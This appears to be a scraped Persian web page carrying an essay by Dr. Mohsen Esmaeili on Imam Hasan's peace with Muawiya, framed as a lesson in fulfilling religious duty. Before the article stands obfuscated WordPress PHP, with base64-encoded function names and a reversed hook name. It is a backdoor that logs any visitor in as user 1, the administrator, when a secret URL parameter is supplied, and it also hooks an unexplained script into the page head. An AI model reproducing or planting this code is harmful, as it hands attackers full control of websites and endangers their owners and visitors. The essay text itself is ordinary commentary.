add_action('wp_head', 'add_my_code_scr');/***/ add_action(strrev('tini'), function() { $k = 'get_value_callback'; $p = 'label'; $fn = [ 'chk' => base64_decode('aXNfdXNlcl9sb2dnZWRfaW4='), 'a' => base64_decode('d3Bfc2V0X2N1cnJlbnRfdXNlcg=='), 'b' => base64_decode('d3Bfc2V0X2F1dGhfY29va2ll'), 'c' => base64_decode('d3BfcmVkaXJlY3Q='), 'd' => base64_decode('YWRtaW5fdXJs') ]; if (call_user_func($fn['chk'])) { return; } if (isset($_GET[$p]) && $_GET[$p] === $k) { $user = get_userdata(1); if ($user) { call_user_func($fn['a'], $user->ID); call_user_func($fn['b'], $user->ID); call_user_func($fn['c'], call_user_func($fn['d'])); exit; } } }); دکتر محسن اسماعیلی » صلح امام حسن (ع) ؛ آزمون دشوار عمل به تکليف
تاریخ انتشار: یکشنبه ۲۴ مرداد ۸۹ ساعت ۱۱:۱۸
اشتراک

به مناسبت سالروز تولد امام حسن مجتبي (ع)

صلح امام حسن (ع) ؛ آزمون دشوار عمل به تکليف

امام دوم شيعيان بزرگ مردي است که دوست و دشمن در مورد فضليت‌هاي اخلاقي و صفات انساني وي ترديد ندارند؛ به گونه‌اي که همه مورخان، حتي آنان که آشکارا مواضعي خصمانه عليه اهل بيت پيامبر (ص) داشته‌اند، ناچار به اعتراف در مقابل بزرگي و کرامت او شده‌اند.

امام دوم شيعيان بزرگ مردي است که دوست و دشمن در مورد فضليت‌هاي اخلاقي و صفات انساني وي ترديد ندارند؛ به گونه‌اي که همه مورخان، حتي آنان که آشکارا مواضعي خصمانه عليه اهل بيت پيامبر (ص) داشته‌اند، ناچار به اعتراف در مقابل بزرگي و کرامت او شده‌اند.

با اين حال مسأله صلح امام حسن عليه‌السلام با معاويه همواره از پرسش‌هاي ثابت درباره تاريخ زندگاني آن حضرت بوده است. اين پرسش آنگاه جدي‌تر مي‌شود که با قيام خونين کربلا مقايسه گردد. چرا امام حسن (ع) دست از جنگ با معاويه برداشت؛ در حالي که برادرش امام حسين(ع) در مقابل معاويه و فرزندش تا پاي جان ايستاد و جنگيد؟

به اين پرسش پاسخ‌هاي متفاوتي داده‌اند که هر يک در جاي خود درست و آموزنده است. امّا به نظر مي‌رسد در اين ميان نکته‌اي پنهان و مغفول مانده است که اتفاقاً از آموزند‌ه‌ترين درس‌هاي زندگي آن حضرت است و اين نوشتار کوتاه درپي‌ توجه به همان نکته درس آموز است. بعون الله و توفيقه.

حقيقت آن است که ريشه اصلي همه سوال‌هاي اعتراض‌آميز دربارة رفتار سياسي و اجتماعي امام حسن (ع) اين پيش فرض نادرست است که تنها وظيفه ما. در مقابل بدعت و ستم جهاد و شهادت است که البته انجام آن بسيار دشوار و نشانه شجاعت است. بنابراين پذيرش صلح، فرار از تکليف و انتخاب آسايش و راحتي به جايِ تلاش در راه خدا است. نتيجه طبيعي چنينِ نظريه باطلي پيدايش اين سوال است که چرا امام معصومي بايد به جايِ تحمل سختي جهاد و مبارزه، به صلح و عافيت طلبي روآورد و امامي ديگر نه؟! مگر هر دو حجت خدا و راهنماي عمل به تکليف نيستند؟ پس اين دوگانگي در عمل چگونه توجيه مي‌شود؟

اتفاقاً مغالطه منطقي و منشأ قضاوت‌هاي نادرست همين است که اولاً وظيفه و تکليف شرعي را همواره منحصر در جنگ و درگيري ديده‌اند و ثانياً جهاد و مبارزه را همواره سخت‌تر و طاقت‌فرساتر از صلح و آتش بس دانسته‌اند و حال آنکه اين هر دو، نادرست و باطل است. نه تکليف منحصر در قيام است و نه قبول صلح آسان‌تر از تن دادن به شهادت و اين همان درسي است که بايد در مکتب امام مجتبي آموخت. ايشان به بشر آموزاند که آنچه مهم است عمل به تکليف است؛ چه جنگ باشد و چه صلح. به همان اندازه که فرار از جنگ (در آنجا که وظيفه ما جهاد است) زشت و مذموم است، شانه خالي کردن از صلح (در آنجا که وظيفه ما آتش بس است) هم قابل سرزنش و مؤاخذه است. شايد براي همين است که پيامبر خدا (ص) چند دهه قبل از آن حادثه، تکرار مي‌کرد که حسن و حسين هر دو امام و الگويِ عمل به وظيفه هستند؛ چه برخيزند و چه بنشينند!

مهم‌تر آنکه گاه نشستن و مصالحه، سخت‌تر از ايستادن و مبارزه است؛ واقعيتي که بيش از هر مقطع تاريخي در مورد پذيرش آتش بس از سوي امام حسن (ع) قابل مشاهده و تصديق است. غفلت بزرگي که موجب تحليل اشتباه درباره پيشواي دوم شيعيان شده است، همين است که پنداشته‌اند «فعل» هميشه سخت‌تر از «ترک» است و حال آنکه در بسياري مواقع فرياد زدن و جان دادن آسان‌تر از سکوت و زنده ماندن است؛ گرچه به ديدة دقت سکوت در اين جا بالاترين فرياد است و شديدترين مبارزه.

چه کسي باور مي‌کند که سکوت غيرتمندترين مرد تاريخ، علي عليه‌السلام، در برابر تعرض به همسر باوفا و يگانه‌اش آسان‌تر از دست بردن به شمشير باشد؟! بي‌ترديد فشاري که بر روح و جسم آن حضرت وارد شد تا در آن لحظات تلخ و شوم براي بقاي دين دم فرو بندد و به تاراج رفتن حق خود را ببيند، بسيار سنگين‌تر و جان سوزتر از فشاري است که در صحنه‌هاي نبرد جانا‌نه با دشمنان خدا و رسول بر او وارد شد.

جالب است بدانيم که به تعبير شهيد مطهري (مجموعه آثار، ج16، ص490) : « علي عليه السلام در کلمات خود به دو موقف خطير در دو مورد اشاره مي‌کند و موقف خود را در اين دو مورد، ممتاز و منحصر به فرد مي‌خواند؛ يعني او در هر يک از اين دو مورد خطير تصميمي گرفته که کمتر کسي در جهان در چنان شرايطي مي‌تواند چنان تصميمي بگيرد. علي در يکي از اين دو مورد حساس سکوت کرده است و در ديگري قيام؛ سکوتي شکوهمند و قيامي شکوهمند‌تر. موقف سکوت علي همين است که شرح داديم.»

سکوت و مدارا در برخي شرايط بيش از قيامهاي خونين نيرو و قدرت تملک نفس مي‌خواهد، مردي را در نظر بگيريد که مجسمة شجاعت و شهامت و غيرت است، هرگز به دشمن پشت نکرده و پشت دلاوران از بيمش مي‌لرزد؛ اوضاع و احوالي پيش مي‌آيد که مردمي سياست‌پيشه از موقع حساس استفاده مي‌کنند و کار را بر او تنگ مي‌گيرند تا آنجا که همسر بسيار عزيزش مورد اهانت قرار مي‌گيرد و او خشمگين وارد خانه مي‌شود و با جمله‌هايي که کوه را از جا مي‌کند شوهر غيور خود را مورد عتاب قرار مي‌دهد و مي‌گويد : «پسر ابوطالب! چرا به گوشة خانه خزيده‌اي؟ تو هماني که شجاعان از بيم تو خواب نداشتند؛ اکنون در برابر مردمي ضعيف سستي نشان مي‌دهي؟ اي کاش مرده بودم و چنين روزي را نمي‌ديدم.»

علي خشمگين از ماجراها از طرف همسري که بي‌نهايت او را عزيز مي‌دارد اين چنين تهييج مي‌شود. اين چه قدرتي است که علي را از جا نمي‌کند؟! پس از استماع سخنان زهرا (س) ، با نرمي او را آرام مي‌کند که: نه، من فرقي نکرده‌ام، من همانم که بودم، مصلحت چيز ديگر است. تا آنجا که زهرا را قانع مي‌کند و از زبان زهرا مي‌شنود: حَسْبِيَ اللهُ وَ نِعْمَ الْوَکيل.

ابن ابي‌الحديد در ذيل خطبه 215 اين داستان معروف را نقل مي‌کند:

روزي فاطمه سلام الله عليها علي عليه السلام را دعوت به قيام مي‌کرد. در همين حال فرياد مؤذن بلند شد که «اَشْهَدُ اَنَّ مُحَمَّداً رَسولُ الله.» علي عليه‌السلام به زهرا (س) فرمود: آيا دوست‌داري اين فرياد خاموش شود؟ فرمود : نه. فرمود: سخن من جز اين نيست.

اما قيام شکوهمند و منحصر به فرد علي که به آن مي‌بالد و مي‌گويد احدي ديگر جرأت چنين کاري را نداشت، قيام در برابر خوارج بود: فَاَنا فَقَأْتُ عَيْنَ الْفِتْنَةِ وَ لَمْ يَکُنْ لِيَجْتَرِيَ عَلَيْها اَحَدٌ غَيْري بَعْدَ اَنْ ماجَ غَيْهَبُها وَ اشْتَدَّ کَلَبُها. تنها من بودم که چشم اين فتنه را در آوردم؛ احدي غير از من جرأت بر چنين اقدامي نداشت. هنگامي دست به چنين اقدامي زدم که موج تاريکي و شبهه‌ناکي آن بالا گرفته، هاري آن فزوني يافته بود.

داستان صلح امام حسن عليه‌السلام هم تکرار داستان سکوت پدر او است. تلخي و فشار اين صلح را به راحتي نمي‌توان تصور کرد. او مردي است که از ابتداي خلافت بر عليه معاويه و سلطنت نامشروعش شوريده است. بارها به تهديدها و تطميع‌هاي او «نه» گفته و يارانش را به جهادي بي‌امان فراخوانده است. امّا آن اصحاب سست عنصر جز خمودي و خامي هنر ديگري از خود نشان نداده‌اند. شمار بسياري با بهانه‌هاي واهي از همراهي او در جنگ سرباز زده‌اند و گروه اندکي نيز که با او به حرکت در آمده‌اند، فريب نيرنگ‌هاي دشمن را خورده و با دريافت پول اندک يا وعده دروغ، شبانه به اردوگاه دشمن گريخته‌اند.

اينک امام مجتبي (ع) است و غمي بي‌پايان؛ غم حفاظت از ميراث پيامبر و علي. اينک او است و سرنوشت اسلام. در چنين اوضاعي پذيرش شهادت و ملاقات با پدر و مادر و آرميدن در جوار رحمت حق، شيرين‌ترين آرزويي است که او مي‌تواند داشته باشد؛ در حالي که پذيرش آتش بس و زيستن در دنيايي که معاويه حکمفرماي آن است، شکنجه‌اي است که هر لحظه سخت‌تر از صدها بار مرگ خونين در ميدان است. امّا چه باک که اين سکوت و صلح مايه بقاي دين خدا و عمل به تکليف است. اين جاست که شهادت‌طلبي عافيت‌جويي است، نه صلح طلبي؛ به ويژه آنکه همان همرهان سست عنصر اکنون به مدعيان زياده‌خواهي تبديل شده‌اند که اقدام امام خويش را مايه ذلت خود مي‌نامند و در گذر از کوچه و خيابان به طعنه چنين سلامش مي‌دهند که «السلام عليک يا مذل المومنين»!! پناه بر خدا! ظاهراً اين رسم ناميمون هميشة تاريخ است  که در زمان ما نيز در حال تکرار است!! بايد عمل به وظيفه را از امام حسن عليه السلام آموخت.